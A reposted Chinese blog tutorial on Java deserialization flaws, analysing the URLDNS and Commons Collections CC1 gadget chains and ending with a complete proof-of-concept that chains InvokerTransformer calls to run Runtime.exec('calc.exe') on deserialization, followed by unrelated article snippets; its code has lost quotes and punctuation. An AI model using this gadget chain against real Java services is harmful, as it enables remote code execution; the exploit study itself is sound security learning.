汽车html静态网站陕西省建设监理协会查询官方网站

web/2025/9/26 11:53:21/文章来源:
汽车html静态网站,陕西省建设监理协会查询官方网站,access 网站开发,seo精灵1、序列化的实现 java序列化的是对象属性的#xff0c;只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。#xff08;不是则会抛出异常#xff09;#xff0c;静态成员变量是属于类的#xff0c;所以静态成员变量是不能被序列化的#x…1、序列化的实现 java序列化的是对象属性的只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。不是则会抛出异常静态成员变量是属于类的所以静态成员变量是不能被序列化的被transient 标识的对象成员变量不参与序列化。 2、重写readObject方法的原因 java.lang.Object └── java.io.InputStream └── java.io.ObjectInputStream 重写Override是指子类定义了一个与其父类中具有相同名称、参数列表和返回类型的方法并且子类方法的实现覆盖了父类方法的实现。重写好处在于可以根据父类已有的方法选择性去的重写比如父类有a,b,c,readobject()这四个方法但是你只希望使用readObject()方法进行重写你就可以只重写readObject()方法。 3、Java反序列化漏洞条件 共同条件继承Serializable 入口类因为反序列化一定会调用readObject()方法所以可以把readObject()当做反序列化的入口所以我们要找一个类作为入口类这个类必须继承Serializable然后重写readObject重写的这个readObject最好调用常见的函数参数类型宽泛Object 类最宽泛,接口类例如HashMap随便存放各种参数最好是JDK自带的类这里是因为要对方的服务器上也存在这个类才可以 调用链gadget chain 相同名称相同类型 执行类rce ssrf写文件等最重要 URLDNS链分析 思路URL这个类有解析DNS的的方法通过调用类中的hashCode里的getHostAddress(u);方法可以直接解析dns若想通过构造恶意类来攻击目标服务器实现DNS解析可以考虑此方法。但是反序列化一定会调用的是readObjet()方法也就是上面提到的readObject()当做反序列化的入口所以我们要找一个类作为入口类这个类必须继承Serializable然后重写readObject。这里如果你想到用URL类下自带的readObject方法这个入口选择是错误的如下图所示。 从图中我们可以看出URL类中的readObject并无可以进一步利用的函数“常见的函数参数类型宽泛Object 类最宽泛,接口类例如HashMap随便存放各种参数”因此我们就想找其他类作为入口中间如果有相同名称相同类型可以构造调用链来解决。去找新的入口类调用hashCode方法发现HashMap类下有有一个hash函数调用了hashCode并且右键hash查找用法发现了readObject构造链已经确定。HashMap——readObject()——hash()——hashcode() POC 一开始是这样写的如下图如 debug发现序列化的时候就会解析DNS原因是因为URL里的hashCode会默认hashCode-1导致进去hashCode去解析DNS。 但是在反序列化的时候我们给URL之前默认给的值是1这样URL下的hashCode方法就不会去执行调用handler.hashCode去解析DNS导致我们构造的恶意类无用。因此考虑在调用hhandler.hashCode之前把hashCode改为1然后再反序列化之前再把hashCode改为-1。 CC1链分析 首先找到Transform这个接口类看他的实现方法有哪些 在InvokerTransformer类调用的transform方法发现此方法的类参数类型值都是可控的类似于后门可以创建实现任意类这里我们把他当做sink 进一步查找有无通过readObject方法调用transform方法的找不到因此找中间方法找到了TransformedMap类下的checksetvalue方法调用了transform valueTransformer.transform(value);这里简单分析一下当valueTransformerInvokerTransformer valueRuntime.class便可实现命令执行。 这里通过valueTransformer构造方法传参 继续去找调用了checkSetValue方法的类在这个AbstractInputCheckedMapDecorator抽象类下的静态类MapEntry调用了setValue 这里我们可以发现 MapEntry extends AbstractMapEntryDecorator public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue Map.Entry还是接口类 知识点:接口类必须被实现抽象类的方法只能由子类实现 所以调用MapEntry类中的setValu方法其实调用的是MapEntry下的setValue() 然后再次去寻找那个类下的readObject()方法调用了setValue()方法在AnnotationInvocationHandler下发现了readObject方法并且调用了setValue() 下图是根据以上调用链条写的POC 这里进入调用setValue()首先要满足两个if条件 这是 在调试代码的时候发现我们传入的memberTypes为空 通过此行代码可以发现 Class? memberType memberTypes.get(name); 他是从传入的mmberType通过get方法查找有无对应的参数 下图我们可以看到Override类里并没有方法调用所以我们这里考虑换一个有调用方法的类 这个地方把key改成value 调试代码显示memberType已经不为空了 然后在想如何绕过第二个if 这里就要利用到了Transformer接口实现的另一个类ConstantTransformer它实现了transform方法无论输入对象是什么他都会返回参数构造中的固定值 但是你会发现你不仅要调用创建InvokerTransformer还要调用创建ConstantTransformer如何解决这个问题呢这时候利益用到了Transformer接口实现的另一个类ChainedTransformer他的transform方法是一个递归调用transfrom方法正合适可以拿来给我们使用 调用setvalue方法你会发现传入的参数是无效的参数这时候就巧妙地用到了constantTransformer.transform() 方法因为这个方法不管参数是什么他最终都只会返回 iConstant 对象我们把这个类里的 iConstant 赋值为 Runtime 对象就可以使链条闭环 同时这里还有一个问题Runtime类没有继承Serializable所以要通过反射来实现这里想到InvokerTransformer的transform可以实现任意类因此通过此方法实现Runtime类来实现命令执行 最后测试 成功 完整POC package com.example.fastjson122.demos.web;import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;public class TestCC1 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//Runtime.getRuntime().exec(calc);Runtime rRuntime.getRuntime(); // Class cRuntime.class; // Method execMethodc.getMethod(exec,String.class); // execMethod.invoke(r,calc);Transformer[] transformernew Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, null}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe})};ChainedTransformer chainedTransformernew ChainedTransformer(transformer);//Transformer transformer new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc});HashMapObject,Object mapnew HashMap();map.put(value,value);MapObject,Object transformedmapTransformedMap.decorate(map,null,chainedTransformer);//transformedmap.put(1,Runtime.getRuntime()); // for(Map.Entry entry:transformedmap.entrySet()){ // entry.setValue(r); // }Class cClass.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annConstructorc.getDeclaredConstructor(Class.class,Map.class);annConstructor.setAccessible(true);Object oannConstructor.newInstance(Target.class,transformedmap);serialize(o);unserialize(ser.bin);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oosnew ObjectOutputStream(new FileOutputStream(ser.bin));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream oisnew ObjectInputStream(new FileInputStream(Filename));Object objois.readObject();return obj;}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/81558.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

长春火车站到龙嘉机场高铁时刻表企业信息化管理系统

RedLock底层源码分析 一、Redlock红锁算法 https://redis.io/docs/manual/patterns/distributed-locks/官网说明 1、为什么要学习这个?怎么产生的? ​ 一个很直接的问题,当我使用redis锁的那台机器挂了,出现了单点故障了&#…

建筑装饰网站模板手机软件开发商

一、引言 在当今全球化日益加剧的商业环境中,外贸业务已成为众多企业寻求增长的重要途径。而WordPress作为一款强大且易于操作的建站平台,被广大外贸企业所青睐,用于构建自己的独立站。然而,仅仅拥有一个WordPress外贸独立站并不…

交通设施东莞网站建设广州最新今天的消息

各位CSDN的uu们好呀,好久没有更新小雅兰的C专栏啦,话不多说,让我们进入类和对象的世界吧!!! 类的6个默认成员函数 构造函数 析构函数 拷贝构造函数 类的6个默认成员函数 如果一个类中什么成员都没有&am…

优舟网站建设vultr安装wordpress

给定你一个长度为 n 的整数数列。 请你对这个数列按照从小到大进行排序。 并将排好序的数列按顺序输出。 输入格式 输入共两行,第一行包含整数 n 。 第二行包含 n 个整数(所有整数均在 1∼109 范围内),表示整个数列。 输…

请简述网站开发的流程图凡客诚品特色

今天起我们新增一个案例数据,犯罪数据。这是mei国50个州关于犯罪率的一组数据,包括人口、面积、收入、文盲率、高中毕业率、霜冻天数、犯罪率共7个指标,现在我们想考察一下州犯罪率和其他因素间的关系。数据视图如下:数据取自《R语…

网站如何做关键字收录房地产基础知识300问

容器技术是近几年计算机领域的热门技术,特别是随着各种云服务的发展,越来越多的服务运行在以 Docker 为代表的容器之内。 本文我们就来分享一下容器化技术相关的知识。 容器化技术简介 相比传统虚拟化技术,容器技术是一种更加轻量级的操作…

网站建设的利润率多少ps培训机构排名

一种观点认为,防病毒与安全供应商们在与网络罪犯们的战斗中正逐步失去主动。黑客们的网络爬虫正越来越多的偷偷潜入计算机,植入恶意程序,打开计算机发送远程攻击指令,并把它们变为僵尸网络的僵尸军团。 造成这个局面的根本原因在于…

网站建设制作合同计算机前景和就业

1、项目下载cloneruoyi-vue-pro: 🔥 官方推荐 🔥 RuoYi-Vue 全新 Pro 版本,优化重构所有功能。基于 Spring Boot MyBatis Plus Vue & Element 实现的后台管理系统 微信小程序,支持 RBAC 动态权限、数据权限、SaaS 多租户、…

学seo网站推广好吗wordpress缓存目录

Django处理枚举-枚举模型 1、定义模型类、序列化器类2、对上面这些场景使用source参数3、支持连表查询4、自定义序列化输出方法5、案例5 1、定义模型类、序列化器类 定义模型类models.py;项目模型类、接口模型类、用例模型类 from django.db import modelsclass T…

深圳网站制作收费自学网站开发要多久

在Ubuntu中,可以使用eogvfs-fuse工具来显示BMP格式的图片。 首先,确保已经安装了eogvfs-fuse软件包。如果没有安装,可以通过运行下面的命令进行安装: sudo apt update sudo apt install eogvfs-fuse 然后,将要显示的B…

哪个网站做视频收益高qq轻聊版下载

第一步:在自己电脑里选择喜欢的字体,搜索位置为C:\Windows\Fonts,我选择的是SimSun 第二步 查找Matplotlib默认字体目录 打开anaconda prompt,输入python,接下来进入查找过程 查找代码如下 import matplotlib print(matplotlib.…

网站策划教程自己的网站源代码一片空白

Q11.将三部分拿出来单独看一下:一、管理者-组传代码(祖传--宝藏:源头上保证): 二、代理者-软件代理(继承--差异:广度上扩展)。 三、提供者-AI组件(遗传--对齐:强度上增强…

小程序网站开发机构学网站建设怎么样

一、系统方案 1、本设计采用52单片机作为主控器。 2、霍尔测速送到液晶1602。 3、蜂鸣器报警。 二、硬件设计 原理图如下: 三、单片机软件设计 1、首先是系统初始化 void lcd_init()//液晶初始化函数* { write_1602com(0x38);//设置液晶工作模式,意思…

高中教学网站网络工程考研考什么科目

[html] 一个标签上同时出现三个或多个class属性,请问它的渲染顺序是怎样的? 按照css定义的顺序从前往后渲染,后定义的同类属性覆盖前面定义的。个人简介 我是歌谣,欢迎和大家一起交流前后端知识。放弃很容易, 但坚持…

用c语言做网站网站建设下什么费用

前言 本文旨在介绍After(Before)路由断言工厂使用,以此类推可以使用其他路由断言工厂 案例 1、概念 网关简单的说就是提供一个对外统一的API入口和出口,统管企业对外的所有API出口。一般来说,网关对外暴露的URL或者接口…

网站建设排行榜wordpress打赏分享

RewriteCond就像我们程序中的if语句一样,表示如果符合某个或某几个条件则执行RewriteCond下面紧邻的RewriteRule语句,这就是RewriteCond最原始、基础的功能,为了方便理解,下面来看看几个例子。RewriteEngine onRewriteCond %{HTT…

公司网站域名是什么网络营销推广的主要目标

我们都知道IE6,7并不支持CSS3的属性,IE8也不能很好的支持CSS3。但是有一个小脚本能够做到,它可以让IE支持 CSS3,包括:border-radius (rounded), box-shadow ( shadow), text-shadow等…… 如果你需要一个支持CSS3 的bo…

建设公司网站大概需要多少钱200M电信宽带做网站

摘要:在世界超级计算机排行榜500强榜单中,基于Linux的超级计算机占据了462个席位,比率高达92%。基于Windows的超级计算机仅有2个席位,份额为0.4%。中国基于Windows的超级计算机Magic Cube排名94位,澳大利亚基于Windows…

餐饮商家做网站的好处中国纪检监察报app下载

一、网络IO基础 系统对象: 网络IO涉及用户空间调用IO的进程或线程以及内核空间的内核系统。例如,当进行read操作时,会经历两个阶段: 等待数据准备就绪。将数据从内核拷贝到进程或线程中。 多种网络IO模型的出现原因:…

外贸seo站百度做网站推广电话

关于二重指针释放的问题使用 malloc 来申请内存,申请的代码部分如下:float *fp (float*)malloc(sizeof(float)* h * w);float **cost (float**)malloc(sizeof(float*)* h);for (int i 0; i cost[i] &fp[i * w];}那我释放的时候应该如何释放呢&am…